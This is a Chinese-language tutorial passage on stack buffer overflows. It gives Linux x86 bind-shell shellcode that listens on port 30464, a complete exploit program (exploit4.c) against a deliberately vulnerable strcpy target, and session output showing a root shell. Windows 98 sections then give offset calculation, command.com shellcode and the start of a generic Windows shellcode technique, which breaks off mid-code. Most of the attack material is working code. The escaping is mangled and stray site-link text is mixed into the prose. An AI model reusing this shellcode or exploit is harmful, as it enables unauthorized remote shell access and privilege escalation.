/"//xb0//x06/" /* movb $0x6,%al */
/"//x89//x46//x08/" /* movl %eax,0x8(%esi) */
/* 第三個參數. */
/"//xb0//x66/" /* movb $0x66,%al */
/"//xb3//x01/" /* movb $0x1,%bl */
/"//xcd//x80/" /* int $0x80 */
------------------------------------------------------------------------
----
bind(soc,(struct sockaddr *)&serv_addr,0x10)的匯編代碼
------------------------------------------------------------------------
----
/* bind使用66號系統調用，2號子調用。 */
/* 他使用一段內存塊來傳遞參數。 */
/* %ecx 里面為這個內存塊的地址指針. */
char code[]=
/"//x89//xf1/" /* movl %esi,%ecx */
/"//x89//x06/" /* movl %eax,(%esi) */
/* %eax 的內容為剛才socket調用的返回值， */
/* 就是soc文件描寫敘述符，作為第一個參數 */
/"//xb0//x02/" /* movb $0x2,%al */
/"//x66//x89//x46//x0c/" /* movw %ax,0xc(%esi) */
/* serv_addr.sin_family=AF_NET（2） */
/* 2 放在 0xc(%esi). */
/"//xb0//x77/" /* movb $0x77,%al */
/"//x66//x89//x46//x0e/" /* movw %ax,0xe(%esi) */
/* port號(0x7700=30464)放在 0xe(%esi) */
/"//x8d//x46//x0c/" /* leal 0xc(%esi),%eax */
/* %eax = serv_addr 的地址 */
/"//x89//x46//x04/" /* movl %eax,0x4(%esi) */
/* 第二個參數. */
/"//x31//xc0/" /* xorl %eax,%eax */
/"//x89//x46//x10/" /* movl %eax,0x10(%esi) */
/* serv_addr.sin_addr.s_addr=0 */
/"//xb0//x10/" /* movb $0x10,%al */
/"//x89//x46//x08/" /* movl %eax,0x8(%esi) */
/* 第三個參數 . */
/"//xb0//x66/" /* movb $0x66,%al */
/"//xb3//x02/" /* movb $0x2,%bl */
/"//xcd//x80/" /* int $0x80 */
------------------------------------------------------------------------
----
listen(soc,1)的匯編代碼
------------------------------------------------------------------------
----
/* listen使用66號系統調用，4號子調用。 */
/* 他使用一段內存塊來傳遞參數。 */
/* %ecx 里面為這個內存塊的地址指針. */
char code[]=
/"//x89//xf1/" /* movl %esi,%ecx */
/"//x89//x06/" /* movl %eax,(%esi) */
/* %eax 的內容為剛才socket調用的返回值， */
/* 就是soc文件描寫敘述符，作為第一個參數 */
/"//xb0//x01/" /* movb $0x1,%al */
/"//x89//x46//x04/" /* movl %eax,0x4(%esi) */
/* 第二個參數. */
/"//xb0//x66/" /* movb $0x66,%al */
/"//xb3//x04/" /* movb $0x4,%bl */
/"//xcd//x80/" /* int $0x80 */
------------------------------------------------------------------------
----
accept(soc,0,0)的匯編代碼
------------------------------------------------------------------------
----
/* accept使用66號系統調用，5號子調用。 */
/* 他使用一段內存塊來傳遞參數。 */
/* %ecx 里面為這個內存塊的地址指針. */
char code[]=
/"//x89//xf1/" /* movl %esi,%ecx */
/"//x89//xf1/" /* movl %eax,(%esi) */
/* %eax 的內容為剛才socket調用的返回值， */
/* 就是soc文件描寫敘述符，作為第一個參數 */
/"//x31//xc0/" /* xorl %eax,%eax */
/"//x89//x46//x04/" /* movl %eax,0x4(%esi) */
/* 第二個參數. */
/"//x89//x46//x08/" /* movl %eax,0x8(%esi) */
/* 第三個參數. */
/"//xb0//x66/" /* movb $0x66,%al */
/"//xb3//x05/" /* movb $0x5,%bl */
/"//xcd//x80/" /* int $0x80 */
------------------------------------------------------------------------
----
dup2(cli,0)的匯編代碼
------------------------------------------------------------------------
----
/* 第一個參數為 %ebx， 第二個參數為 %ecx */
char code[]=
/* %eax 里面是剛才accept調用的返回值， */
/* 客戶的文件描寫敘述符cli . */
/"//x88//xc3/" /* movb %al,%bl */
/"//xb0//x3f/" /* movb $0x3f,%al */
/"//x31//xc9/" /* xorl %ecx,%ecx */
/"//xcd//x80/" /* int $0x80 */
------------------------------------------------------------------------
----
如今該把這些全部的細節都串起來，形成一個新的shell的時候了。
new shellcode
------------------------------------------------------------------------
----
char shellcode[]=
00 /"//x31//xc0/" /* xorl %eax,%eax */
02 /"//xb0//x02/" /* movb $0x2,%al */
04 /"//xcd//x80/" /* int $0x80 */
06 /"//x85//xc0/" /* testl %eax,%eax */
08 /"//x75//x43/" /* jne 0x43 */
/* 運行fork()，當fork()!=0 的時候，表明是父進程，要終止 */
/* 因此，跳到0x43＋a=0x4d，再跳到后面，運行 exit(0) */
0a /"//xeb//x43/" /* jmp 0x43 */
/* 當fork()==0 的時候，表明是子進程 */
/* 因此，跳到0x43+0c=0x4f,再跳到后面，運行 call -0xa5 */
0c /"//x5e/" /* popl %esi */
0d /"//x31//xc0/" /* xorl %eax,%eax */
0f /"//x31//xdb/" /* xorl %ebx,%ebx */
11 /"//x89//xf1/" /* movl %esi,%ecx */
13 /"//xb0//x02/" /* movb $0x2,%al */
15 /"//x89//x06/" /* movl %eax,(%esi) */
17 /"//xb0//x01/" /* movb $0x1,%al */
19 /"//x89//x46//x04/" /* movl %eax,0x4(%esi) */
1c /"//xb0//x06/" /* movb $0x6,%al */
1e /"//x89//x46//x08/" /* movl %eax,0x8(%esi) */
21 /"//xb0//x66/" /* movb $0x66,%al */
23 /"//xb3//x01/" /* movb $0x1,%bl */
25 /"//xcd//x80/" /* int $0x80 */
/* 運行socket()，eax里面為返回值soc文件描寫敘述符 */
27 /"//x89//x06/" /* movl %eax,(%esi) */
29 /"//xb0//x02/" /* movb $0x2,%al */
2d /"//x66//x89//x46//x0c/" /* movw %ax,0xc(%esi) */
2f /"//xb0//x77/" /* movb $0x77,%al */
31 /"//x66//x89//x46//x0e/" /* movw %ax,0xe(%esi) */
35 /"//x8d//x46//x0c/" /* leal 0xc(%esi),%eax */
38 /"//x89//x46//x04/" /* movl %eax,0x4(%esi) */
3b /"//x31//xc0/" /* xorl %eax,%eax */
3d /"//x89//x46//x10/" /* movl %eax,0x10(%esi) */
40 /"//xb0//x10/" /* movb $0x10,%al */
42 /"//x89//x46//x08/" /* movl %eax,0x8(%esi) */
45 /"//xb0//x66/" /* movb $0x66,%al */
47 /"//xb3//x02/" /* movb $0x2,%bl */
49 /"//xcd//x80/" /* int $0x80 */
/* 運行bind() */
4b /"//xeb//x04/" /* jmp 0x4 */
/* 越過以下的兩個跳轉 */
4d /"//xeb//x55/" /* jmp 0x55 */
/* 跳到0x4f+0x55=0xa4 */
4f /"//xeb//x5b/" /* jmp 0x5b */
/* 跳到0x51+0x5b=0xac */
51 /"//xb0//x01/" /* movb $0x1,%al */
53 /"//x89//x46//x04/" /* movl %eax,0x4(%esi) */
56 /"//xb0//x66/" /* movb $0x66,%al */
58 /"//xb3//x04/" /* movb $0x4,%bl */
5a /"//xcd//x80/" /* int $0x80 */
/* 運行listen() */
5c /"//x31//xc0/" /* xorl %eax,%eax */
5e /"//x89//x46//x04/" /* movl %eax,0x4(%esi) */
61 /"//x89//x46//x08/" /* movl %eax,0x8(%esi) */
64 /"//xb0//x66/" /* movb $0x66,%al */
66 /"//xb3//x05/" /* movb $0x5,%bl */
68 /"//xcd//x80/" /* int $0x80 */
/* 運行accept()，eax里面為返回值cli文件描寫敘述符 */
6a /"//x88//xc3/" /* movb %al,%bl */
6c /"//xb0//x3f/" /* movb $0x3f,%al */
6e /"//x31//xc9/" /* xorl %ecx,%ecx */
70 /"//xcd//x80/" /* int $0x80 */
72 /"//xb0//x3f/" /* movb $0x3f,%al */
74 /"//xb1//x01/" /* movb $0x1,%cl */
76 /"//xcd//x80/" /* int $0x80 */
78 /"//xb0//x3f/" /* movb $0x3f,%al */
7a /"//xb1//x02/" /* movb $0x2,%cl */
7c /"//xcd//x80/" /* int $0x80 */
/* 運行三個dup2() */
7e /"//xb8//x2f//x62//x69//x6e/" /* movl $0x6e69622f,%eax */
/* %eax=/"/bin/" */
83 /"//x89//x06/" /* movl %eax,(%esi) */
85 /"//xb8//x2f//x73//x68//x2f/" /* movl $0x2f68732f,%eax */
/* %eax=/"/sh//" */
8a /"//x89//x46//x04/" /* movl %eax,0x4(%esi) */
8d /"//x31//xc0/" /* xorl %eax,%eax */
8f /"//x88//x46//x07/" /* movb %al,0x7(%esi) */
92 /"//x89//x76//x08/" /* movl %esi,0x8(%esi) */
95 /"//x89//x46//x0c/" /* movl %eax,0xc(%esi) */
98 /"//xb0//x0b/" /* movb $0xb,%al */
9a /"//x89//xf3/" /* movl %esi,%ebx */
9c /"//x8d//x4e//x08/" /* leal 0x8(%esi),%ecx */
9f /"//x8d//x56//x0c/" /* leal 0xc(%esi),%edx */
a2 /"//xcd//x80/" /* int $0x80 */
/* 運行execve() */
/* 執行/bin/sh() */
a4 /"//x31//xc0/" /* xorl %eax,%eax */
a6 /"//xb0//x01/" /* movb $0x1,%al */
a8 /"//x31//xdb/" /* xorl %ebx,%ebx */
aa /"//xcd//x80/" /* int $0x80 */
/* 運行exit() */
ac /"//xe8//x5b//xff//xff//xff/" /* call -0xa5 */
/* 運行0x0c處的指令 */
b1
------------------------------------------------------------------------
----
好，長長的shell最終寫完了，以下就是攻擊程序了。
exploit4.c
------------------------------------------------------------------------
----
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
#include<netdb.h>
#include<netinet/in.h>
#define ALIGN 0
#define OFFSET 0
#define RET_POSITION 1024
#define RANGE 200
#define NOP 0x90
char shellcode[]=
/"//x31//xc0/" /* xorl %eax,%eax */
/"//xb0//x02/" /* movb $0x2,%al */
/"//xcd//x80/" /* int $0x80 */
/"//x85//xc0/" /* testl %eax,%eax */
/"//x75//x43/" /* jne 0x43 */
/"//xeb//x43/" /* jmp 0x43 */
/"//x5e/" /* popl %esi */
/"//x31//xc0/" /* xorl %eax,%eax */
/"//x31//xdb/" /* xorl %ebx,%ebx */
/"//x89//xf1/" /* movl %esi,%ecx */
/"//xb0//x02/" /* movb $0x2,%al */
/"//x89//x06/" /* movl %eax,(%esi) */
/"//xb0//x01/" /* movb $0x1,%al */
/"//x89//x46//x04/" /* movl %eax,0x4(%esi) */
/"//xb0//x06/" /* movb $0x6,%al */
/"//x89//x46//x08/" /* movl %eax,0x8(%esi) */
/"//xb0//x66/" /* movb $0x66,%al */
/"//xb3//x01/" /* movb $0x1,%bl */
/"//xcd//x80/" /* int $0x80 */
/"//x89//x06/" /* movl %eax,(%esi) */
/"//xb0//x02/" /* movb $0x2,%al */
/"//x66//x89//x46//x0c/" /* movw %ax,0xc(%esi) */
/"//xb0//x77/" /* movb $0x77,%al */
/"//x66//x89//x46//x0e/" /* movw %ax,0xe(%esi) */
/"//x8d//x46//x0c/" /* leal 0xc(%esi),%eax */
/"//x89//x46//x04/" /* movl %eax,0x4(%esi) */
/"//x31//xc0/" /* xorl %eax,%eax */
/"//x89//x46//x10/" /* movl %eax,0x10(%esi) */
/"//xb0//x10/" /* movb $0x10,%al */
/"//x89//x46//x08/" /* movl %eax,0x8(%esi) */
/"//xb0//x66/" /* movb $0x66,%al */
/"//xb3//x02/" /* movb $0x2,%bl */
/"//xcd//x80/" /* int $0x80 */
/"//xeb//x04/" /* jmp 0x4 */
/"//xeb//x55/" /* jmp 0x55 */
/"//xeb//x5b/" /* jmp 0x5b */
/"//xb0//x01/" /* movb $0x1,%al */
/"//x89//x46//x04/" /* movl %eax,0x4(%esi) */
/"//xb0//x66/" /* movb $0x66,%al */
/"//xb3//x04/" /* movb $0x4,%bl */
/"//xcd//x80/" /* int $0x80 */
/"//x31//xc0/" /* xorl %eax,%eax */
/"//x89//x46//x04/" /* movl %eax,0x4(%esi) */
/"//x89//x46//x08/" /* movl %eax,0x8(%esi) */
/"//xb0//x66/" /* movb $0x66,%al */
/"//xb3//x05/" /* movb $0x5,%bl */
/"//xcd//x80/" /* int $0x80 */
/"//x88//xc3/" /* movb %al,%bl */
/"//xb0//x3f/" /* movb $0x3f,%al */
/"//x31//xc9/" /* xorl %ecx,%ecx */
/"//xcd//x80/" /* int $0x80 */
/"//xb0//x3f/" /* movb $0x3f,%al */
/"//xb1//x01/" /* movb $0x1,%cl */
/"//xcd//x80/" /* int $0x80 */
/"//xb0//x3f/" /* movb $0x3f,%al */
/"//xb1//x02/" /* movb $0x2,%cl */
/"//xcd//x80/" /* int $0x80 */
/"//xb8//x2f//x62//x69//x6e/" /* movl $0x6e69622f,%eax */
/"//x89//x06/" /* movl %eax,(%esi) */
/"//xb8//x2f//x73//x68//x2f/" /* movl $0x2f68732f,%eax */
/"//x89//x46//x04/" /* movl %eax,0x4(%esi) */
/"//x31//xc0/" /* xorl %eax,%eax */
/"//x88//x46//x07/" /* movb %al,0x7(%esi) */
/"//x89//x76//x08/" /* movl %esi,0x8(%esi) */
/"//x89//x46//x0c/" /* movl %eax,0xc(%esi) */
/"//xb0//x0b/" /* movb $0xb,%al */
/"//x89//xf3/" /* movl %esi,%ebx */
/"//x8d//x4e//x08/" /* leal 0x8(%esi),%ecx */
/"//x8d//x56//x0c/" /* leal 0xc(%esi),%edx */
/"//xcd//x80/" /* int $0x80 */
/"//x31//xc0/" /* xorl %eax,%eax */
/"//xb0//x01/" /* movb $0x1,%al */
/"//x31//xdb/" /* xorl %ebx,%ebx */
/"//xcd//x80/" /* int $0x80 */
/"//xe8//x5b//xff//xff//xff/" /* call -0xa5 */
unsigned long get_sp(void)
{
__asm__(/"movl %esp,%eax/");
}
long getip(char *name)
{
struct hostent *hp;
long ip;
if((ip=inet_addr(name))==-1)
{
if((hp=gethostbyname(name))==NULL)
{
fprintf(stderr,/"Can/"t resolve host.//n/");
exit(0);
}
memcpy(&ip,(hp->h_addr),4);
}
return ip;
}
int exec_sh(int sockfd)
{
char snd[4096],rcv[4096];
fd_set rset;
while(1)
{
FD_ZERO(&rset);
FD_SET(fileno(stdin),&rset);
FD_SET(sockfd,&rset);
select(255,&rset,NULL,NULL,NULL);
if(FD_ISSET(fileno(stdin),&rset))
{
memset(snd,0,sizeof(snd));
fgets(snd,sizeof(snd),stdin);
write(sockfd,snd,strlen(snd));
}
if(FD_ISSET(sockfd,&rset))
{
memset(rcv,0,sizeof(rcv));
if(read(sockfd,rcv,sizeof(rcv))<=0)
exit(0);
fputs(rcv,stdout);
}
}
}
int connect_sh(long ip)
{
int sockfd,i;
struct sockaddr_in sin;
printf(/"Connect to the shell//n/");
fflush(stdout);
memset(&sin,0,sizeof(sin));
sin.sin_family=AF_INET;
sin.sin_port=htons(30464);
sin.sin_addr.s_addr=ip;
if((sockfd=socket(AF_INET,SOCK_STREAM,0))<0)
{
printf(/"Can/"t create socket//n/");
exit(0);
}
if(connect(sockfd,(struct sockaddr *)&sin,sizeof(sin))<0)
{
printf(/"Can/"t connect to the shell//n/");
exit(0);
}
return sockfd;
}
void main(int argc,char **argv)
{
char buff[RET_POSITION+RANGE+ALIGN+1],*ptr;
long addr;
unsigned long sp;
int offset=OFFSET,bsize=RET_POSITION+RANGE+ALIGN+1;
int i;
int sockfd;
if(argc>1)
offset=atoi(argv[1]);
sp=get_sp();
addr=sp-offset;
for(i=0;i<bsize;i+=4)
{
buff[i+ALIGN]=(addr&0x000000ff);
buff[i+ALIGN+1]=(addr&0x0000ff00)>>8;
buff[i+ALIGN+2]=(addr&0x00ff0000)>>16;
buff[i+ALIGN+3]=(addr&0xff000000)>>24;
}
for(i=0;i<bsize-RANGE*2-strlen(shellcode)-1;i++)
buff[i]=NOP;
ptr=buff+bsize-RANGE*2-strlen(shellcode)-1;
for(i=0;i<strlen(shellcode);i++)
*(ptr++)=shellcode[i];
buff[bsize-1]=/"//0/"
printf(/"Jump to 0x%08x//n/",addr);
if(fork()==0)
{
execl(/"./vulnerable/",/"vulnerable/",buff,0);
exit(0);
}
sleep(5);
sockfd=connect_sh(getip(/"127.0.0.1/"));
exec_sh(sockfd);
}
------------------------------------------------------------------------
----
算法非常easy，先生成溢出串，格式為：NNNNSSSSAAAA。然后起一個子進程運行目標
程序
來模擬網絡daemon，參數為我們的字符串。好，堆棧溢出發生了。我們的
shellcode被
運行，那么在30464port就會有server在listen了。
父進程睡五秒，等待這些完畢。就連接本機的port30464。連接建立后，從socket
讀取
收到的字符串，打印到標準輸出，從標準輸入讀取字符串，傳到socket的server端
。
以下來試一試：
我們先寫一個漏洞程序：
vulnerable.C
------------------------------------------------------------------------
----
#include <stdio.h>
int main(int argc,char ** argv)
{
char buffer[1000];
printf(/"I am here%x,buffer%d//n/",buffer,strlen(argv[1]));
strcpy(buffer,argv[1]);
return 0;
}
------------------------------------------------------------------------
----
[nkl10]$ ./exploit
Jump to 0xbffff63c
I am herebffff280,buffer1224
Connect to the shell
Can/"t connect to the shell
看到了嗎？我在vulnerable.C里面增加了一個printf，打印buffer的首地址，這樣
就能夠
不用猜了。0xbffff63c-0xbffff280 = 956,好，就用956來進行偏移。
[nkl10]$./exploit 956
Jump to 0xbffff280
I am herebffff280,buffer1224
connect to shell
whoami
root
id
uid=0(root)......
uname -a
怎樣閱讀源碼 虛擬網絡計算工具介紹 網絡配置文件高速解讀 帳號安全 學習Linux網絡編程(1) Linux 指令大全(1) Linux下的網絡掃描利器：NMAP Linux入侵檢測 10個針對分布式拒絕服務攻擊有關的高速補救措施 BIND?8?exploit?木馬程序簡析? 相關鏈接共 136 篇 <<刷新該頁面能夠得到不同的keyword鏈接>> ,相關的鏈接)" href="http://www.safechina.net/article/showarticle.php?id=1003664001#" mce_href="http://www.safechina.net/article/showarticle.php?id=1003664001">Linux localhost.localdomain 2.2.5-15。。。
嘿嘿，大功告成了。
---------------------------------------------------------------
window系統下的堆棧溢出--原理篇
這一講我們來看看windows系統下的程序。我們的目的是研究怎樣利用windows程序
的
堆棧溢出漏洞。
讓我們從頭開始。windows 98第二版
首先，我們來寫一個問題程序：
#include <stdio.h>
int main()
{
char name[32];
gets(name);
for(int i=0;i<32&&name[i];i++)
printf(/"0x%x/",name[i]);
}
相信大家都看出來了，gets(name)對name數組沒有作邊界檢查。那么我們能夠給程
序
一個非常長的串，肯定能夠覆蓋堆棧中的返回地址。
C://Program Files//DevStudio//MyProjects//bo//Debug>vunera~1
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaa
//0x61//0x61//0x61//0x61//0x61//0x61//0x61//0x61//0x61//0x61//0x61//0x61//0x61//0x61//0
x61//0x61
//0x61//0x61//0x61//0x61//0x61//0x61//0x61//0x61//0x61//0x61//0x61//0x61//0x61//0x61//0
x61//0x61
到這里，出現了那個熟悉的對話框“該程序運行了非法操作。。。”，太好了，點
擊
具體信息button，看到EIP的值是0x61616161，哈哈，對話框還會把返回地址告訴我
們。
這個功能太好了，我們能夠選擇一個序列的輸入串，精確的確定存放返回地址的偏
移位置。
C://Program Files//DevStudio//MyProjects//bo//Debug>vunera~1
12345678910111213141516171819202122232425262728293031323334353637383940
//0x31//0x32//0x33//0x34//0x35//0x36//0x37//0x38//0x39//0x31//0x30//0x31//0x31//0x31//0
x32//0x31
//0x33//0x31//0x34//0x31//0x35//0x31//0x36//0x31//0x37//0x31//0x38//0x31//0x39//0x32//0
x30//0x32
到這里，又出現了那個熟悉的對話框“改程序運行了非法操作。。。”，點擊具體
信息
button，以下是具體信息：
VUNERABLE 在 00de:32363235 的模塊
<未知> 中導致無效頁錯誤。
Registers:
EAX=00000005 CS=017f EIP=32363235 EFLGS=00000246
EBX=00540000 SS=0187 ESP=0064fe00 EBP=32343233
ECX=00000020 DS=0187 ESI=816bffcc FS=11df
EDX=00411a68 ES=0187 EDI=00000000 GS=0000
Bytes at CS:EIP:
Stack dump:
32383237 33303339 33323331 33343333 33363335 33383337 c0000005
0064ff68
0064fe0c 0064fc30 0064ff68 004046f4 0040f088 00000000 0064ff78
bff8b86c
||||||哦哦，EIP的內容為0x32363235，就是2625,EBP的內容為0x32343233，就是2423,計
算
一下能夠知道，在堆棧中，從name變量地址開始偏移36處，是EBP的地址，從name
變量
地址開始偏移40處，是ret的地址。我們能夠給name數組輸入我們精心編寫的
shellcode。
我們僅僅要把name的開始地址放在溢出字符串的地址40就能夠了。那么，name的開始
地址
是多少呢？
通過上面的stack dump 我們能夠看到，當前ESP所指向的地址0x0064fe00，內容為
0x32383237,那么計算得出，name的開始地址為：0x0064fe00-44=0x64fdd4。在
windows
系統，其它執行進程保持不變的情況下。我們每次執行vunera~1的堆棧的開始地址
都
是同樣的。也就是說，每次執行，name的地址都是0x64fdd4。
說到這里，大家一定已經發現了這樣一個情況：在win系統中，因為有地址沖突檢
測，
出錯時寄存器影像和堆棧影像，使得我們對堆棧溢出漏洞能夠進行精確的分析
溢出偏移地址。這就使我們能夠精確的方便的尋找堆棧溢出漏洞。
OK，萬事具備，僅僅差shellcode了。
首先，考慮一下我們的shellcode要作什么？顯然，依據以往的經驗，我們想開一
個
dos窗體，這樣在這個窗體下，我們就能夠作非常多事情。
開一個dos窗體的程序例如以下：
#include <windows.h>
#include <winbase.h>
typedef void (*MYPROC)(LPTSTR);
int main()
{
HINSTANCE LibHandle;
MYPROC ProcAdd;
char dllbuf[11] = /"msvcrt.dll/"
char sysbuf[7] = /"system/"
char cmdbuf[16] = /"command.com/"
LibHandle = LoadLibrary(dllbuf);
ProcAdd = (MYPROC) GetProcAddress(LibHandle, sysbuf);
(ProcAdd) (cmdbuf);
return 0;
}
這個程序有必要詳解一下。我們知道運行一個command.com就能夠獲得一個
dos窗體。在C庫函數里面，語句system(command.com)；將完畢我們須要的功能。
可是，windows不像UNIX那樣使用系統調用來實現關鍵函數。對于我們的程序來說
，
windows通過動態鏈接庫來提供系統函數。這就是所謂的Dll/"s。
因此，當我們想調用一個系統函數的時候，并不能直接引用他。我們必須找到那個
包括此函數的動態鏈接庫，由該動態鏈接庫提供這個函數的地址。DLL本身也有一
個
基本地址，該DLL每一次被載入都是從這個基本地址載入。比方，system函數由
msvcrt.dll
(the Microsoft Visual C++ Runtime library)提供，而msvcrt.dll每次都從
0x78000000地址開始。system函數位于msvcrt.dll的一個固定偏移處（這個偏移地
址
僅僅與msvcrt.dll的版本號有關，不同的版本號可能偏移地址不同）。我的系統上，
msvcrt.dll版本號為(v6.00.8397.0)。system的偏移地址為0x019824。
所以，要想運行system,我們必須首先使用LoadLibrary(msvcrt.dll)裝載動態鏈接
庫
msvcrt.dll，獲得動態鏈接庫的句柄。然后使用GetProcAddress(LibHandle,
system)
獲得 system的真實地址。之后才干使用這個真實地址來調用system函數。
好了，如今能夠編譯運行，結果正確，我們得到了一個dos框。
如今對這個程序進行調試跟蹤匯編語言，能夠得到：
15: LibHandle = LoadLibrary(dllbuf);
00401075 lea edx,dword ptr [dllbuf]
00401078 push edx
00401079 call dword ptr [__imp__LoadLibraryA@4(0x00416134)]
0040107F mov dword ptr [LibHandle],eax
16:
17: ProcAdd = (MYPROC) GetProcAddress(LibHandle, sysbuf);
00401082 lea eax,dword ptr [sysbuf]
00401085 push eax
00401086 mov ecx,dword ptr [LibHandle]
00401089 push ecx
0040108A call dword ptr [__imp__GetProcAddress@8(0x00416188)]
00401090 mov dword ptr [ProcAdd],eax
;如今，eax的值為0x78019824就是system的真實地址。
;這個地址對于我的機器而言是唯一的。不用每次都找了。
18:
19: (ProcAdd) (cmdbuf);
00401093 lea edx,dword ptr [cmdbuf]
;使用堆棧傳遞參數，僅僅有一個參數，就是字符串/"command.com/"的地址
00401096 push edx
00401097 call dword ptr [ProcAdd]
0040109A add esp,4
如今我們能夠寫出一段匯編代碼來完畢system，看以看我們的運行system調用的代
碼
是否可以像我們設計的那樣工作：
#include <windows.h>
#include <winbase.h>
void main()
{
LoadLibrary(/"msvcrt.dll/");
__asm {
mov esp,ebp ;把ebp的內容賦值給esp
push ebp ;保存ebp，esp－4
mov ebp,esp ;給ebp賦新值，將作為局部變量
的基指針
xor edi,edi ;
push edi ;壓入0，esp－4，
;作用是構造字符串的結尾//0字符
。
sub esp,08h ;加上上面，一共同擁有12個字節，
;用來放/"command.com/"。
mov byte ptr [ebp-0ch],63h ;
mov byte ptr [ebp-0bh],6fh ;
mov byte ptr [ebp-0ah],6dh ;
mov byte ptr [ebp-09h],6Dh ;
mov byte ptr [ebp-08h],61h ;
mov byte ptr [ebp-07h],6eh ;
mov byte ptr [ebp-06h],64h ;
mov byte ptr [ebp-05h],2Eh ;
mov byte ptr [ebp-04h],63h ;
mov byte ptr [ebp-03h],6fh ;
mov byte ptr [ebp-02h],6dh ;生成串/"command.com/".
lea eax,[ebp-0ch] ;
push eax ;串地址作為參數入棧
mov eax, 0x78019824 ;
call eax ;調用system
}
}
編譯，然后執行。好，DOS框出來了。在提示符下輸入dir,copy......是不是想起
了
當年用286的時候了？
敲exit退出來，哎呀，發生了非法操作。Access Violation。這是肯定的，由于我
們的
程序已經把堆棧指針搞亂了。
對上面的算法進行優化，如今我們能夠寫出shellcode例如以下：
char shellcode[] = {
0x8B,0xE5, /*mov esp, ebp */
0x55, /*push ebp */
0x8B,0xEC, /*mov ebp, esp */
0x83,0xEC,0x0C, /*sub esp, 0000000C */
0xB8,0x63,0x6F,0x6D,0x6D, /*mov eax, 6D6D6F63 */
0x89,0x45,0xF4, /*mov dword ptr [ebp-0C], eax*/
0xB8,0x61,0x6E,0x64,0x2E, /*mov eax, 2E646E61 */
0x89,0x45,0xF8, /*mov dword ptr [ebp-08], eax*/
0xB8,0x63,0x6F,0x6D,0x22, /*mov eax, 226D6F63 */
0x89,0x45,0xFC, /*mov dword ptr [ebp-04], eax*/
0x33,0xD2, /*xor edx, edx */
0x88,0x55,0xFF, /*mov byte ptr [ebp-01], dl */
0x8D,0x45,0xF4, /*lea eax, dword ptr [ebp-0C]*/
0x50, /*push eax */
0xB8,0x24,0x98,0x01,0x78, /*mov eax, 78019824 */
0xFF,0xD0 /*call eax */
};
還記得第二講中那個測試shellcode的基本程序嗎？我們能夠用他來測試這個
shellcode：
#include <windows.h>
#include <winbase.h>
char shellcode[] = {
0x8B,0xE5, /*mov esp, ebp */
0x55, /*push ebp */
0x8B,0xEC, /*mov ebp, esp */
0x83,0xEC,0x0C, /*sub esp, 0000000C */
0xB8,0x63,0x6F,0x6D,0x6D, /*mov eax, 6D6D6F63 */
0x89,0x45,0xF4, /*mov dword ptr [ebp-0C], eax*/
0xB8,0x61,0x6E,0x64,0x2E, /*mov eax, 2E646E61 */
0x89,0x45,0xF8, /*mov dword ptr [ebp-08], eax*/
0xB8,0x63,0x6F,0x6D,0x22, /*mov eax, 226D6F63 */
0x89,0x45,0xFC, /*mov dword ptr [ebp-04], eax*/
0x33,0xD2, /*xor edx, edx */
0x88,0x55,0xFF, /*mov byte ptr [ebp-01], dl */
0x8D,0x45,0xF4, /*lea eax, dword ptr [ebp-0C]*/
0x50, /*push eax */
0xB8,0x24,0x98,0x01,0x78, /*mov eax, 78019824 */
0xFF,0xD0 /*call eax */
};
int main() {
int *ret;
LoadLibrary(/"msvcrt.dll/");
ret = (int *)&ret + 2; //ret 等于main（）的返回地址
//(＋2是由于：有push ebp ,否則加1就能夠了。）
(*ret) = (int)shellcode; //改動main（）的返回地址為shellcode的開始地
址。
}
編譯執行，得到dos對話框。
如今總結一下。我們已經知道了在windows系統下怎樣獲得一次堆棧溢出，怎樣計
算
偏移地址，以及怎樣編寫一個shellcode以得到dos。理論上，你已經具備了利用堆
棧溢出
的能力了，以下，我們通過實戰來真正掌握他。
--------------------------------------------------------------
WINDOWS的SHELLCODE編寫高級技巧
作者：yuange
unix等系統由于實用戶概念，所以往往溢出是使用先得到普通帳號，然后登陸后用溢出
再載入一個SHELL的辦法得到ROOT權限，其系統調用又方便，所以SHELLCODE編寫一般都比
較簡單。但WINDOWS系統往往不提供登陸服務，所以溢出攻擊的SHELLCODE往往要提供SOCKET
連接，要載入程序得到SHELL等，而WINDOWS的系統調用int2e接口又不如unix系統調用int80
規范，所以一般都使用API，而API函數地址又由于系統版本號的不同而不一樣，所以要編寫
WINDOWS以下比較有用、通用點的SHELLCODE比較麻煩。
經過一段時間的思考，得到了WINDOWS下編寫SHELLCODE的比教好的辦法。
1、溢出點確定。使用溢出點附近覆蓋一片一個RET指令地址的辦法，這樣僅僅要知道溢出
點大致范圍就能夠了。
2、SHELLCODE定位。使用ESP寄存器定位，僅僅要前面那覆蓋的RET地址后面放一個JMP
ESP功能的指令地址就能夠定位了。
3、RET指令地址、JMP ESP功能指令地址採用代碼頁里面的地址，54 C3，或者FF E4
、C3這個一個語言的WINDOWS地址固定，也非常好找這個地址。
4、SHELLCODE直接使用C語言編寫，方便編寫、改動、調試。
5、SHELLCODE統一編碼，滿足應用條件對SHELLCODE字符的限制，用一段小匯編代碼解
碼，這樣編寫SHELLCODE就能夠不用考慮特殊字符了。
6、通信加密，對付安全掃描淺談 什么是sniffer和怎樣防止sniffer的監聽 Nmap網絡安全掃描器說明(2) 安全性與INTERNET信息serverIIS SQL數據庫的一些攻擊 WinShell v3.0 中文幫助 UNIX IP Stack 調整指南 警惕DoS的路由器攻擊 Win2000 Server入侵監測 后門，隱藏通道及HTTP(S) 相關鏈接共 103 篇 <<刷新該頁面能夠得到不同的keyword鏈接>> ,相關的鏈接)" href="http://www.safechina.net/article/showarticle.php?id=1003664001#" mce_href="http://www.safechina.net/article/showarticle.php?id=1003664001">防火墻 ，實現FTP功能，實現內存直接接管WEB服務等的高級應用。
以下主要介紹介紹編寫通用SHELLCODE的辦法。主要SHELLCODE里面使用的API自己用
GetProcAddress定位，要使用庫用LoadLibraryA載入。那這樣SHELLCODE就僅僅依靠這兩個
API了。那這兩個API的地址又怎么解決呢，LoadLibraryA這個API在系統庫KERNEL32.DLL里
面，也能夠使用GetProcAddress得到。那關鍵就是要找到系統庫kernel32.dll和
GetProcAddress的地址了。由于一般應用程序都會載入kernel32.dll，所以解決的方法就是在
內存里面找到這個系統庫和API地址，所幸知道了WINDOWS的模塊數據結構也就不難了,主要
是添加異常結構處理 。以下是VC6.0程序代碼：
void shellcodefn()
{
int *except[3];
FARPROC procgetadd=0;
char *stradd;
int imgbase,fnbase,i,k,l;
